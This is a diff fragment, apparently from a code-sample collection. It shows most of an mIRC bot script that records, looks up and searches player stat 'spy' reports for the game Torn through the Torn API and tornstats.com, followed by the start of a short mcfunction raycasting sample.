+  did -ra tornstats.cfgview 999 Channel list and both keys saved.
+  did -ra tornstats.cfgview 100 $readini($tornstats.cfgfile,n,Spy,chan)
+  did -ra tornstats.cfgview 101 $readini($tornstats.cfgfile,n,Spy,key)
+  did -ra tornstats.cfgview 102 $readini($tornstats.cfgfile,n,Spy,api)
+  flushini $tornstats.cfgfile
+}
+
+menu status,channel {
+  www.tornstats.com Spy Database v $+ $tornstats.botvers Config:tornstats.cfg
+}
+
+alias -l tornstats.cfg {
+  if ($dialog(tornstats.cfgview)) { halt } | dialog -m tornstats.cfgview tornstats.cfgview
+  if ($readini($tornstats.cfgfile,n,Spy,enable) == yes) { did -c tornstats.cfgview 1 } | else { did -u tornstats.cfgview 1 }
+  if ($readini($tornstats.cfgfile,n,Spy,cache) == yes) { did -c tornstats.cfgview 2 } | else { did -u tornstats.cfgview 2 }
+  if ($readini($tornstats.cfgfile,n,Spy,sockerr) == yes) { did -c tornstats.cfgview 3 } | else { did -u tornstats.cfgview 3 }
+  did -ra tornstats.cfgview 100 $readini($tornstats.cfgfile,n,Spy,chan)
+  did -ra tornstats.cfgview 101 $readini($tornstats.cfgfile,n,Spy,key)
+  did -ra tornstats.cfgview 102 $readini($tornstats.cfgfile,n,Spy,api)
+}
+
+alias -l tornstats.cfgcheck { if (!$exists($tornstats.cfgfile)) { tornstats.upg | echo -ag www.tornstats.com Spy Database script: Default values have been written. Right click channel section for config panel. } }
+
+
+; ##################################################################### SOCKET CODE #####################################################################
+
+
+
+on *:sockopen:getinfo:{
+  if ($sockerr) { echo -s 4Socket Error. Socket: $sockname --- Message: $sock($sockname).wsmsg --- Num: $sock($sockname).wserr }
+  else {
+    if (%tsspy.oldspy != $null) { var %table = tsspy. $+ %tsspy.oldspy }
+    else { var %table = tsspy. $+ %tsspy.spy }
+    sockwrite -nt $sockname GET /user/ $+ $hget(%table,id) $+ ?selections=profile&key= $+ $readini($tornstats.cfgfile,n,Spy,api) HTTP/1.1
+    sockwrite -nt $sockname Host: api.torn.com
+    sockwrite -nt $sockname $crlf
+  }
+}
+
+on *:sockread:getinfo:{
+  if ($sockerr && $readini($tornstats.cfgfile,n,Spy,sockerr) == yes) { echo -s 4Socket Error. Socket: $sockname --- Message: $sock($sockname).wsmsg --- Num: $sock($sockname).wserr }
+  else {
+    var %read | sockRead %read | var %readln $remove(%read, $chr(9))  
+    ;write $qt($scriptdirtest.htm) %readln
+    if (%tsspy.oldspy != $null) { var %table = tsspy. $+ %tsspy.oldspy }
+    else { var %table = tsspy. $+ %tsspy.spy }
+    if ($regex(%readln,error":"(.+?)")) { 
+      msg %tsspy.postchan 04API Error: $regml(1)
+      tornstats.spywrite
+    }
+    if ($regex(%readln,level":(.+?)")) { hadd %table lvl $tornstats.cleanN($regml(1)) }  
+    if ($regex(%readln,faction_name":"(.+?)")) { hadd %table fact $tornstats.cleanW($regml(1))) }
+    if (($hget(%table,lvl) != $null) && ($hget(%table,fact) != $null)) { tornstats.spywrite }
+  }
+}
+
+
+on *:SOCKOPEN:spysave: {
+  if ($sockerr && $readini($tornstats.cfgfile,n,Spy,sockerr) == yes) { echo -s 4Socket Error. Socket: $sockname --- Message: $sock($sockname).wsmsg --- Num: $sock($sockname).wserr }
+  else {
+    if (%tsspy.oldspy != $null) { var %table = tsspy. $+ %tsspy.oldspy }
+    else { var %table = tsspy. $+ %tsspy.spy }
+    var %a = /tornbot/someelusivebotscript.php?action=spy&step=save
+    var %a = %a $+ &key= $+ $tornstats.uencode($readini($tornstats.cfgfile,n,Spy,key))
+    var %a = %a $+ &name= $+ $tornstats.uencode($hget(%table,name))    
+    var %a = %a $+ &id= $+ $tornstats.uencode($hget(%table,id))
+    var %a = %a $+ &lvl= $+ $tornstats.uencode($hget(%table,lvl))
+    var %a = %a $+ &faction= $+ $tornstats.uencode($hget(%table,fact))
+    var %a = %a $+ &str= $+ $tornstats.uencode($hget(%table,str))
+    var %a = %a $+ &def= $+ $tornstats.uencode($hget(%table,def))
+    var %a = %a $+ &spd= $+ $tornstats.uencode($hget(%table,spd))
+    var %a = %a $+ &dex= $+ $tornstats.uencode($hget(%table,dex))
+    var %a = %a $+ &tot= $+ $tornstats.uencode($hget(%table,totb))
+    sockwrite -nt $sockname GET %a HTTP/1.1
+    sockwrite -nt $sockname User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
+    sockwrite -nt $sockname Host: www.tornstats.com
+    sockwrite -nt $sockname Accept-Language: en-us
+    sockwrite -nt $sockname Accept: */*
+    sockwrite -nt $sockname $crlf
+  }
+}
+
+on *:SOCKREAD:spysave: {
+  if ($sockerr && $readini($tornstats.cfgfile,n,Spy,sockerr) == yes) { echo -s 4Socket Error. Socket: $sockname --- Message: $sock($sockname).wsmsg --- Num: $sock($sockname).wserr }
+  else {
+    :nextread
+    sockread -f %tsspy.str
+    ;write $qt($scriptdirtest $+ $gmt $+ .htm) %tsspy.str
+    if ($sockbr == 0) { return }
+    if (%tsspy.str == $null) { %tsspy.str = - }
+    if (<p> isin %tsspy.str) {
+      set %tsspy.response $remove(%tsspy.str,<p>,</p>)
+      tornstats.savetosite
+      sockclose spyget
+    }
+    else { goto nextread }
+  }
+}
+
+on *:SOCKCLOSE:spysave:{ tornstats.savetosite }
+
+alias -l tornstats.savetosite {
+  if (%tsspy.postchan != $null) {
+    if (%tsspy.response != $null) { msg %tsspy.postchan 10 $+ %tsspy.response }
+    else { msg %tsspy.postchan 04Oops! The server did not send a valid response, please check your settings! }
+    if (%tsspy.oldspy != $null) { var %table = tsspy. $+ %tsspy.oldspy }
+    else { var %table = tsspy. $+ %tsspy.spy }
+    hfree %table
+    .timer0.tornstats.spyauto off
+    unset %tsspy.* | unset %tsprofsw.*
+  }
+}
+
+on *:SOCKOPEN:spyget: {
+  if ($sockerr && $readini($tornstats.cfgfile,n,Spy,sockerr) == yes) { echo -s 4Socket Error. Socket: $sockname --- Message: $sock($sockname).wsmsg --- Num: $sock($sockname).wserr }
+  else {
+    var %a = /tornbot/someelusivebotscript.php?action=spy&step=get
+    var %a = %a $+ &key= $+ $tornstats.uencode($readini($tornstats.cfgfile,n,Spy,key))
+    if ($gettok(%tsspy.search,1,32) == i) { var %a = %a $+ &id= $+ $tornstats.uencode($gettok(%tsspy.search,2,32)) }
+    else { var %a = %a $+ &name= $+ $tornstats.uencode($gettok(%tsspy.search,2,32)) }
+    sockwrite -nt $sockname GET %a HTTP/1.1
+    sockwrite -nt $sockname User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
+    sockwrite -nt $sockname Host: www.tornstats.com
+    sockwrite -nt $sockname Accept-Language: en-us
+    sockwrite -nt $sockname Accept: */*
+    sockwrite -nt $sockname $crlf
+  }
+}
+
+on *:SOCKREAD:spyget: {
+  if ($sockerr && $readini($tornstats.cfgfile,n,Spy,sockerr) == yes) { echo -s 4Socket Error. Socket: $sockname --- Message: $sock($sockname).wsmsg --- Num: $sock($sockname).wserr }
+  else {
+    :nextread
+    sockread -f %tsspy.read
+    ;write $qt($scriptdirtest $+ $gmt $+ .htm) %tsspy.read
+    if ($sockbr == 0) { return }
+    if (%tsspy.read == $null) { %tsspy.read = - }
+    if (Name: isin %tsspy.read) { set %tsspy.name $gettok(%tsspy.read,2,32) }
+    if (ID: isin %tsspy.read) { set %tsspy.id $gettok(%tsspy.read,2,32) }
+    if (Level: isin %tsspy.read) {
+      set %tsspy.lvl $gettok(%tsspy.read,2,32)
+      if ($calc(%tsspy.lvl) == 0 || %tsspy.lvl == $null) { set %tsspy.lvl 04N/A }
+    }
+    if (Faction: isin %tsspy.read) {
+      set %tsspy.fac $remove(%tsspy.read,Faction:)
+      if (%tsspy.fac == 0 || %tsspy.fac == $null || %tsspy.fac == $chr(32)) { set %tsspy.fac 04N/A }
+    }
+    if (Strength: isin %tsspy.read) {
+      set %tsspy.str $gettok(%tsspy.read,2,32)
+      if ($calc(%tsspy.str) == 0 || %tsspy.str == $null) { set %tsspy.str 04N/A }
+    }
+    if (Defense: isin %tsspy.read) {
+      set %tsspy.def $gettok(%tsspy.read,2,32)
+      if ($calc(%tsspy.def) == 0 || %tsspy.def == $null) { set %tsspy.def 04N/A }
+    }
+    if (Speed: isin %tsspy.read) {
+      set %tsspy.spd $gettok(%tsspy.read,2,32)
+      if ($calc(%tsspy.spd) == 0 || %tsspy.spd == $null) { set %tsspy.spd 04N/A }
+    }
+    if (Dexterity: isin %tsspy.read) {
+      set %tsspy.dex $gettok(%tsspy.read,2,32)
+      if ($calc(%tsspy.dex) == 0 || %tsspy.dex == $null) { set %tsspy.dex 04N/A }
+    }
+    if (Total: isin %tsspy.read) {
+      set %tsspy.tot $gettok(%tsspy.read,2,32)
+      if ($calc(%tsspy.tot) == 0 || %tsspy.tot == $null) { set %tsspy.tot 04N/A }
+    }
+    if (Updated: isin %tsspy.read) { set %tsspy.upd $gettok($remove(%tsspy.read,</p>),2,32) }
+    if (Error: isin %tsspy.read) { set %tsspy.err $deltok($remove(%tsspy.read,</p>,<p>),1,32) }
+    if (</p> isin %tsspy.read) {
+      tornstats.displayspy
+      sockclose spyget
+    }
+    else { goto nextread }
+  }
+}
+
+on *:SOCKCLOSE:spyget:{ tornstats.displayspy }
+
+alias -l tornstats.displayspy {
+  if (%tsspy.name != $null) {
+    var %age = $calc($gmt - %tsspy.upd)
+    if (%age >= 2592000) { var %oldtag = 04[OLD] }
+    else { var %oldtag = $null }
+    msg %tsspy.postchan 10Spy Entry for07 %tsspy.name 10[07 $+ %tsspy.id $+ 10] (Lv:07 %tsspy.lvl 10- Fact:07 %tsspy.fac $+ 10) - Added on:07 $asctime(%tsspy.upd,mmm d) 10@07 $asctime(%tsspy.upd,h:nn:ss tt) 06( $+ $duration(%age) ago) %oldtag
+    msg %tsspy.postchan 10Strength:07 $tornstats.addComma(%tsspy.str)
+    msg %tsspy.postchan 10Defense:07 $tornstats.addComma(%tsspy.def)
+    msg %tsspy.postchan 10Speed:07 $tornstats.addComma(%tsspy.spd)
+    msg %tsspy.postchan 10Dexterity:07 $tornstats.addComma(%tsspy.dex)
+    msg %tsspy.postchan 10Total:07 $tornstats.addComma(%tsspy.tot)
+  }
+  else {
+    if (%tsspy.err != $null) { msg %tsspy.postchan 04 $+ %tsspy.err }
+    else { msg %tsspy.postchan 04Oops! A problem has occurred, check your settings! }
+  }
+  unset %tsspy.*
+}
+
+on *:SOCKOPEN:spyfind: {
+  if ($sockerr && $readini($tornstats.cfgfile,n,Spy,sockerr) == yes) { echo -s 4Socket Error. Socket: $sockname --- Message: $sock($sockname).wsmsg --- Num: $sock($sockname).wserr }
+  else {
+    var %a = /tornbot/someelusivebotscript.php?action=spy&step=search $+ %tsspy.find
+    var %a = %a $+ &key= $+ $tornstats.uencode($readini($tornstats.cfgfile,n,Spy,key))
+    sockwrite -nt $sockname GET %a HTTP/1.1
+    sockwrite -nt $sockname User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
+    sockwrite -nt $sockname Host: www.tornstats.com
+    sockwrite -nt $sockname Accept-Language: en-us
+    sockwrite -nt $sockname Accept: */*
+    sockwrite -nt $sockname $crlf
+  }
+}
+
+on *:SOCKREAD:spyfind: {
+  if ($sockerr && $readini($tornstats.cfgfile,n,Spy,sockerr) == yes) { echo -s 4Socket Error. Socket: $sockname --- Message: $sock($sockname).wsmsg --- Num: $sock($sockname).wserr }
+  else {
+    :nextread
+    sockread -f %tsspy.read
+    ;write $qt($scriptdirtest $+ $gmt $+ .htm) %tsspy.read
+    if ($sockbr == 0) { return }
+    if (%tsspy.read == $null) { %tsspy.read = - }  
+    if (Found: isin %tsspy.read) { tornstats.spypost $gettok(%tsspy.read,2,32) $gettok(%tsspy.read,3,32) }
+    if (</p> isin %tsspy.read) {
+      tornstats.spysearchres
+      sockclose spyget
+    }
+    else { goto nextread }
+  }
+}
+
+on *:SOCKCLOSE:spyfind:{ tornstats.spysearchres }
+
+alias -l tornstats.spysearchres {
+  if (%tsspy.postchan != $null) {
+    if (%tsspy.post != $null) { msg %tsspy.postchan $left(%tsspy.post, $calc($len(%tsspy.post) - 1)) $+ $chr(46) }
+    if (%tsspy.found != $null) { msg %tsspy.postchan 10Total:7 %tsspy.found 10spies! }
+    else { msg %tsspy.postchan 04There were no spies found for that query. }
+    unset %tsspy.*
+  }
+}
+
+
+; ##################################################################### ALIAS CODE #####################################################################
+
+
+alias -l tornstats.addComma { var %a, %b = $regsub($ticks,$1,/\G([+-]?\d+?)(?=(?:\d{3})++(?=\.\d++$|$))/g,\1 $+ $chr(44),%a) | return %a }
+
+; strips all input ascii chars aside from decimals and numbers. Used to clean accidental/intentional letters in inputs that expect numbers.
+alias -l tornstats.cleanN {
+  var %a = 0 | var %b = $1
+  while (%a < 255) { if (%a != 46 && %a !isnum 48-57) { var %b = $remove(%b, $chr(%a)) } | inc %a }
+  return %b
+}
+
+; strips leading and trailing whitespace
+alias -l tornstats.cleanW { var %a, %b = $regsub($ticks,$1,^[ \t]+|[ \t]+$,$null,%a) | return %a }  
+
+alias -l tornstats.uencode {
+  var %a = $replace($1-,$chr(37),$+($chr(37),25)), %ptr = 32
+  while (%ptr <= 126) {
+    if (%ptr == 37) { inc %ptr | continue }
+    if (%ptr >= 48 && %ptr <= 57) { inc %ptr | continue }
+    if (%ptr >= 65 && %ptr <= 90) { inc %ptr | continue }
+    if (%ptr >= 97 && %ptr <= 122) { inc %ptr | continue }
+    var %a = $replace(%a,$chr(%ptr),$+($chr(37),$base(%ptr,10,16)))
+    inc %ptr
+  }  
+  return %a
+}
+
+alias -l tornstats.spywrite {
+  sockclose getinfo
+  if ($timer(0.tornstats.spyscrape)) { .timer $+ 0.tornstats.spyscrape off }
+  if (%tsspy.oldspy != $null) { var %table = tsspy. $+ %tsspy.oldspy }
+  else { var %table = tsspy. $+ %tsspy.spy }
+  if ($hget(%table,id) != $null) {
+    msg %tsspy.postchan 10Saving spy entry for07 $hget(%table,name) 10[07 $+ $hget(%table,id) $+ 10] to tornstats.com...
+    if (!$hfind(%table,fact) || $hget(%table,fact) == $null) { hadd -m %table fact N/A }
+    if (!$hfind(%table,lvl) || $hget(%table,lvl) !isnum) { hadd -m %table lvl 0 }
+    if ($readini($tornstats.cfgfile,n,Spy,cache) == yes) {
+      var %savestring = $hget(%table,name) $+ $chr(9) $+ $hget(%table,id) $+ $chr(9) $+  $hget(%table,lvl) $+ $chr(9) $+ $hget(%table,fact) $+ $chr(9) $+ $hget(%table,spd) $+ $chr(9) $+ $hget(%table,str) $+ $chr(9) $+ $hget(%table,def) $+ $chr(9) $+ $hget(%table,dex) $+ $chr(9) $+ $hget(%table,totb) $+ $chr(9) $+ $hget(%table,man) $+ $chr(9) $+ $hget(%table,int) $+ $chr(9) $+ $hget(%table,end) $+ $chr(9) $+ $hget(%table,totw) $+ $chr(9) $+ $hget(%table,cash) $+ $chr(9) $+ %tsspy.spy $+ $chr(9) $+ $hget(%table,adate)
+      if ($exists($tornstats.localfile)) {
+        var %eof = $lines($tornstats.localfile), %ptr = 1
+        while (%ptr <= %eof) {
+          var %readid = $gettok($read($tornstats.localfile,%ptr),2,9)
+          if (%readid == $hget(%table,id)) { var %spyold = 1 | write -dl $+ %ptr $tornstats.localfile | break }
+          inc %ptr
+        }
+      }
+      write $tornstats.localfile %savestring
+    }    
+    sockclose spysave
+    sockopen -e spysave www.tornstats.com 443
+  }
+  else {
+    msg %tsspy.postchan 04I somehow do not have the ID so I cannot save the spy. Cancelling.
+    tornstats.spyclean
+  }
+}
+
+alias -l tornstats.spysave {
+  if (%tsspy.oldspy != $null) { var %table = tsspy. $+ %tsspy.oldspy }
+  else { var %table = tsspy. $+ %tsspy.spy }
+  if ($hget(%table,id) == $null) {
+    msg %tsspy.postchan 04The ID was not successfully read. Paste your spy exactly how Torn sends it to you without modification.
+    msg %tsspy.postchan 10Use:07 !addspy 10to see manual input help.
+  }
+  else {
+    if (!$hfind(%table,str) || $hget(%table,str) !isnum) { hadd -m %table str 0 }
+    if (!$hfind(%table,spd) || $hget(%table,spd) !isnum) { hadd -m %table spd 0 }
+    if (!$hfind(%table,dex) || $hget(%table,dex) !isnum) { hadd -m %table dex 0 }
+    if (!$hfind(%table,def) || $hget(%table,def) !isnum) { hadd -m %table def 0 }
+    if (!$hfind(%table,totb) || $hget(%table,totb) !isnum) { hadd -m %table totb 0 }
+    if (!$hfind(%table,man) || $hget(%table,man) !isnum) { hadd -m %table man 0 }
+    if (!$hfind(%table,int) || $hget(%table,int) !isnum) { hadd -m %table int 0 }
+    if (!$hfind(%table,end) || $hget(%table,end) !isnum) { hadd -m %table end 0 }
+    if (!$hfind(%table,totw) || $hget(%table,totw) !isnum) { hadd -m %table totw 0 }
+    if (!$hfind(%table,cash) || $hget(%table,cash) !isnum) { hadd -m %table cash -1 }
+    if (!$hfind(%table,adate)) { hadd -m %table adate $gmt }
+    sockclose getinfo
+    sockopen -e getinfo www.torn.com 443
+    msg %tsspy.postchan 06Attempting to get additional info from the API (5 seconds max)...
+    .timer $+ 0.tornstats.spyscrape 1 5 tornstats.spywrite
+  }
+}
+
+alias -l tornstats.spycancel {
+  msg %tsspy.postchan 10Spy auto-entry cancelled.
+  tornstats.spyclean
+}
+
+; called in a few places
+alias -l tornstats.spyclean {
+  if ($hget(tsspy. $+ %tsspy.spy)) { hfree tsspy. $+ %tsspy.spy }
+  unset %tsspy.spy | unset %tsspy.postchan
+}
+
+alias -l tornstats.spypost {
+  ; $1 is name, $2 is id
+  if (%tsspy.found == $null) { set %tsspy.found 0 }
+  if (%tsspy.ptr == $null) { set %tsspy.ptr 1 }
+  set %tsspy.post %tsspy.post 07 $+ $1 10[07 $+ $2 $+ 10] $+ $chr(44)
+  inc %tsspy.ptr    
+  inc %tsspy.found
+  if (%tsspy.ptr == 7) {
+    msg %tsspy.postchan %tsspy.post
+    set %tsspy.ptr 1
+    set %tsspy.post $null
+  }
+}
+
+alias -l tornstats.bq {
+  ; query string builder for findspy
+  var %src = $1, %query = $null, %count = $numtok(%src,32), %ptr = 1
+  while (%ptr <= %count) {
+    var %prop = $gettok(%src,%ptr,32)
+    var %data = $right(%prop,-4)    
+    if (%data == $null) {
+      msg %tsspy.postchan 04Don't understand your query, use !findspy without params to see some examples
+      unset %tsspy.*
+      halt
+    }
+    if ($left(%prop,4) == Fac:) { var %query = %query $+ &faction= $+ %data }
+    if ($left(%prop,3) == Str) {
+      if ($mid(%prop,4,1) == $chr(60)) { var %param = l } | else { var %param = g }
+      var %query = %query $+ &str= $+ $replace(%data,k,000,m,000000,b,000000000,t,000000000000) $+ &strd= $+ %param
+    }
+    if ($left(%prop,3) == Spd) {
+      if ($mid(%prop,4,1) == $chr(60)) { var %param = l } | else { var %param = g }
+      var %query = %query $+ &spd= $+ $replace(%data,k,000,m,000000,b,000000000,t,000000000000) $+ &spdd= $+ %param
+    }
+    if ($left(%prop,3) == Dex) {
+      if ($mid(%prop,4,1) == $chr(60)) { var %param = l } | else { var %param = g }
+      var %query = %query $+ &dex= $+ $replace(%data,k,000,m,000000,b,000000000,t,000000000000) $+ &dexd= $+ %param
+    }
+    if ($left(%prop,3) == Def) {
+      if ($mid(%prop,4,1) == $chr(60)) { var %param = l } | else { var %param = g }
+      var %query = %query $+ &def= $+ $replace(%data,k,000,m,000000,b,000000000,t,000000000000) $+ &defd= $+ %param
+    }
+    if ($left(%prop,3) == Tot) {
+      if ($mid(%prop,4,1) == $chr(60)) { var %param = l } | else { var %param = g }
+      var %query = %query $+ &tot= $+ $replace(%data,k,000,m,000000,b,000000000,t,000000000000) $+ &totd= $+ %param
+    }
+    inc %ptr
+  }
+  return %query
+  ;msg #pmv src = %src | msg #pmv query = %query | halt
+}
+
+alias -l tornstats.addspyhelp { return 03Adds a spy to the bot. Manual usage: 07!addspy Name TornID Str Spd Dex Def Total 10Faction (optional). 10To add automatically, use: 07!addspy auto 10if you have the full paste, or 07!addspy Name TornID auto 10if you only have the stats portion. 06For automatic pre-RESPO reports, use: !addspy old }
+
+
+; ##################################################################### CHANNEL CODE #####################################################################
+
+
+on *:text:*:%tornstats.chanlist: {
+  if ($readini($tornstats.cfgfile,n,Spy,enable) == yes) {
+    tornstats.cfgcheck
+    tokenize 32 $strip($replace($1-, $chr(9), $chr(32)))
+    if ($eval($findfile,0) isin $1-) { halt }
+    if ($nick isop #) {
+      if (%tsspy.spy == $nick) {
+        var %tablename = tsspy. $+ %tsspy.spy
+        if ($istok(Strength: Speed: Defense: Dexterity: Total:,$1,32)) {
+          .timer $+ 0.tornstats.spyauto off
+          .timer $+ %tsspy.spy $+ .spy -co 1 5 tornstats.spysave
+        }
+        if ($1 == Name:) {
+          hadd -m %tablename name $2
+          hadd -m %tablename id $remove($3,$chr(91),$chr(93))
+        }
+        if ($1 == Level:) { hadd -m %tablename lvl $2 }
+        if ($1 == Strength:) { hadd -m %tablename str $remove($2,$chr(44),$chr(32)) }
+        if ($1 == Speed:) { hadd -m %tablename spd $remove($2,$chr(44),$chr(32)) }
+        if ($1 == Defense:) { hadd -m %tablename def $remove($2,$chr(44),$chr(32)) }
+        if ($1 == Dexterity:) { hadd -m %tablename dex $remove($2,$chr(44),$chr(32)) }
+        if ($1 == Total:) {
+          if ($hget(%tablename,end)) { hadd -m %tablename totw $remove($2,$chr(44),$chr(32)) }
+          else { hadd -m %tablename totb $remove($2,$chr(44),$chr(32)) }
+        }
+      }
+      if (%tsspy.oldspy == $nick) {
+        var %tablename = tsspy. $+ %tsspy.oldspy
+        if ($istok(Name: Level: Strength: Speed: Defense: Dexterity: Total: Manual Intelligence: Endurance: Money:,$1,32)) {
+          .timer $+ 0.tornstats.spyauto off
+          .timer $+ %tsspy.spy $+ .spy -co 1 5 tornstats.spysave
+        }
+        if ($1 == Name:) {
+          hadd -m %tablename name $2
+          hadd -m %tablename id $remove($3,$chr(91),$chr(93))
+        }
+        if ($1 == Level:) { hadd -m %tablename lvl $2 }
+        if ($1 == Strength:) { hadd -m %tablename str $remove($2,$chr(44),$chr(32)) }
+        if ($1 == Speed:) { hadd -m %tablename spd $remove($2,$chr(44),$chr(32)) }
+        if ($1 == Defense:) { hadd -m %tablename def $remove($2,$chr(44),$chr(32)) }
+        if ($1 == Dexterity:) { hadd -m %tablename dex $remove($2,$chr(44),$chr(32)) }
+        if ($1 == Total:) {
+          if ($hget(%tablename,end)) { hadd -m %tablename totw $remove($2,$chr(44),$chr(32)) }
+          else { hadd -m %tablename totb $remove($2,$chr(44),$chr(32)) }
+        }
+        if ($1 == Manual) { hadd -m %tablename man $remove($3,$chr(44),$chr(32)) }
+        if ($1 == Intelligence:) { hadd -m %tablename int $remove($2,$chr(44),$chr(32)) }
+        if ($1 == Endurance:) { hadd -m %tablename end $remove($2,$chr(44),$chr(32)) }
+        if ($1 == Money:) { hadd -m %tablename cash $remove($2,$chr(36),$chr(44),$chr(32)) }
+      }
+
+      if ($1 == !purgespy || $1 == !spypurge) {
+        msg # 10The spy storage script should be 'unstuck' now. Sorry about that...
+        unset %tsspy.*
+      }
+
+      if ($1 == !addspy || $1 == !storespy) {
+        if (%tsspy.oldspy != $null || %tsspy.spy != $null) { msg # 04I'm already watching for a spy paste! | halt }
+        elseif (($2 == $null) || (auto !isin $2- && $numtok($2-,32) < 7)) { msg # $tornstats.addspyhelp | halt }      
+        elseif ($2 == old && $3 == $null) { var %spyoldauto = 1 }
+        elseif ($3 == old && $4 == $null) { var %spyoldauto = 1 }
+        elseif ($4 == old && $5 == $null) { var %spyoldauto = 1, %spyname = $remove($2,$chr(32)), %spyid = $remove($3,$chr(32),$chr(93),$chr(91)) }
+        elseif ($2 == auto && $3 == $null) { var %spyauto = 1 }
+        elseif ($3 == auto && $4 == $null) { msg # $tornstats.addspyhelp | halt }
+        elseif ($4 == auto && $5 == $null) { var %spyauto = 1, %spyname = $remove($2,$chr(32)), %spyid = $remove($3,$chr(32),$chr(93),$chr(91)) }
+        else {        
+          set %tsspy.postchan #
+          set %tsspy.spy $nick
+          var %tablename = tsspy. $+ $nick
+          var %chk = 1, %chkstr = $replace($2-,Strength:,$chr(32) $+ Strength:,Speed:,$chr(32) $+ Speed:,Dexterity:,$chr(32) $+ Dexterity:,Defense:,$chr(32) $+ Defense:,Total:,$chr(32) $+ Total:)
+          while (%chk < $numtok(%chkstr,32)) {
+            if ($gettok(%chkstr,%chk,32) == Speed:) { var %spd = $tornstats.cleanN($gettok(%chkstr,$calc(%chk + 1),32)) }
+            if ($gettok(%chkstr,%chk,32) == Strength:) { var %str = $tornstats.cleanN($gettok(%chkstr,$calc(%chk + 1),32)) }
+            if ($gettok(%chkstr,%chk,32) == Defense:) { var %def = $tornstats.cleanN($gettok(%chkstr,$calc(%chk + 1),32)) }
+            if ($gettok(%chkstr,%chk,32) == Dexterity:) { var %dex = $tornstats.cleanN($gettok(%chkstr,$calc(%chk + 1),32)) }
+            if ($gettok(%chkstr,%chk,32) == Total:) { var %tot = $tornstats.cleanN($gettok(%chkstr,$calc(%chk + 1),32)) | var %totmark = $calc(%chk + 1) }
+            inc %chk
+          }
+          if (%spd == $null) {
+            var %chkspd = $tornstats.cleanN($5)
+            if (%chkspd isnum) { var %spd = %chkspd }
+          }
+          if (%str == $null) {
+            var %chkstr = $tornstats.cleanN($4)
+            if (%chkstr isnum) { var %str = %chkstr }
+          }
+          if (%def == $null) {
+            var %chkdef = $tornstats.cleanN($7)
+            if (%chkdef isnum) { var %def = %chkdef }
+          }
+          if (%dex == $null) {
+            var %chkdex = $tornstats.cleanN($6)
+            if (%chkdex isnum) { var %dex = %chkdex) }
+          }
+          if (%tot == $null) {
+            var %chktot = $tornstats.cleanN($8)
+            if (%chktot isnum) { var %tot = %chktot }
+          }
+          if (%totmark != $null) {
+            var %clnstart = 1, %fac = $2-
+            while (%clnstart <= %totmark) { var %fac = $deltok(%fac,1,32) | inc %clnstart }
+          }
+          elseif ($9 != $null) { var %fac = $9- }
+          else { var %fac = $null }
+          hadd -m %tablename name $2
+          hadd -m %tablename id $remove($3,$chr(91),$chr(93))
+          hadd -m %tablename spd %spd
+          hadd -m %tablename str %str
+          hadd -m %tablename def %def
+          hadd -m %tablename dex %dex
+          hadd -m %tablename totb %tot
+          if (%fac != $null) { hadd -m %tablename fact %fac }    
+          tornstats.spysave
+        }
+        if (%spyoldauto != $null) {
+          set %tsspy.oldspy $nick
+          set %tsspy.postchan #
+          if (%tablename == $null) { var %tablename = tsspy. $+ $nick }
+          if (%spyname != $null) { hadd -m %tablename name %spyname }
+          if (%spyid != $null) { hadd -m %tablename id %spyid }
+          .timer $+ 0.tornstats.spyauto 1 10 tornstats.spycancel
+          msg # 10Go ahead and paste your pre-RESPO spy report07 $nick $+ 10, I'm watching for it...        
+        }
+        if (%spyauto != $null) {
+          set %tsspy.spy $nick
+          set %tsspy.postchan #
+          if (%tablename == $null) { var %tablename = tsspy. $+ $nick }
+          if (%spyname != $null) { hadd -m %tablename name %spyname }
+          if (%spyid != $null) { hadd -m %tablename id %spyid }
+          .timer $+ 0.tornstats.spyauto 1 10 tornstats.spycancel
+          msg # 10Go ahead and paste your spy report7 $nick $+ 10, I'm watching for it...        
+        }
+      }
+
+      if ($1 == !spy || $1 == !read) {
+        if ($2 == $null) { msg # 03Displays stored spy record. 10Usage:07 !spy Name 10or07 !read ID | halt }
+        if (!$timer(0.tornstats.spam)) {      
+          set %tsspy.postchan #
+          if ($1 == !read) { set %tsspy.search i $2 }
+          else { set %tsspy.search n $2 }
+          sockclose spyget
+          sockopen -e spyget www.tornstats.com 443
+          .timer $+ 0.tornstats.spam -o 1 10 noop
+        }
+        else { msg # 04No can do, too many requests too often. You can try again in07 $timer(0.tornstats.spam).secs 04seconds. }
+      }
+
+      if ($1 == !findspy || $1 == !spyfind) {
+        if ($2 == $null || Fac: !isin $2-) {
+          msg # 03Searches for a spy. 10Usage:07 !findspy Query 10- Param List:07 Fac(reqd) Str Dex Def Spd Tot
+          msg # 06Example:13 !findspy Fac:test Str>100k Dex<2m Tot:6m 10will search for anyone in faction "test", over 100k str, under 2m dex, and over 6m total stats.
+          halt
+        }
+        if (!$timer(0.tornstats.spam)) {
+          set %tsspy.postchan #
+          set %tsspy.find $tornstats.bq($2-)
+          msg # 10Searching for spies, one sec...
+          sockclose spyfind
+          sockopen -e spyfind www.tornstats.com 443
+          .timer $+ 0.tornstats.spam -o 1 5 noop
+        }
+        else { msg # 04No can do, too many requests too often. You can try again in07 $timer(0.tornstats.spam).secs 04seconds. }
+      }
+
+      if ($1 == !botinfo) { msg # 10 $+ www.tornstats.com Spy Database script made by: $+ 07 PMV 10[07157799310] v $+ 07 $+ $tornstats.botvers }
+    }
+  }
+}
+
+; --------------------------------- initial file generators and setup script ---------------------------------
+
+alias -l tornstats.upg {
+  writeini -n $tornstats.cfgfile Spy vers $tornstats.botvers
+  if ($readini($tornstats.cfgfile,n,Spy,enable) == $null) { writeini -n $tornstats.cfgfile Spy enable no }
+  if ($readini($tornstats.cfgfile,n,Spy,cache) == $null) { writeini -n $tornstats.cfgfile Spy cache no }
+  if ($readini($tornstats.cfgfile,n,Spy,sockerr) == $null) { writeini -n $tornstats.cfgfile Spy sockerr no }
+  flushini $tornstats.cfgfile
+}
diff --git a/samples/mcfunction/showcase.mcfunction b/samples/mcfunction/showcase.mcfunction
new file mode 100644
index 0000000000..7c15a0581e
--- /dev/null
+++ b/samples/mcfunction/showcase.mcfunction
@@ -0,0 +1,44 @@
+## Raycasting
+# Casts a ray from starting position up to 128 blocks away.
+# @params
+#   $mypack.raycast.precision temp
+#       The ratio of block precision to a full block.
+# @returns The number of entities hit by the ray.
+
+# TODO use real commands
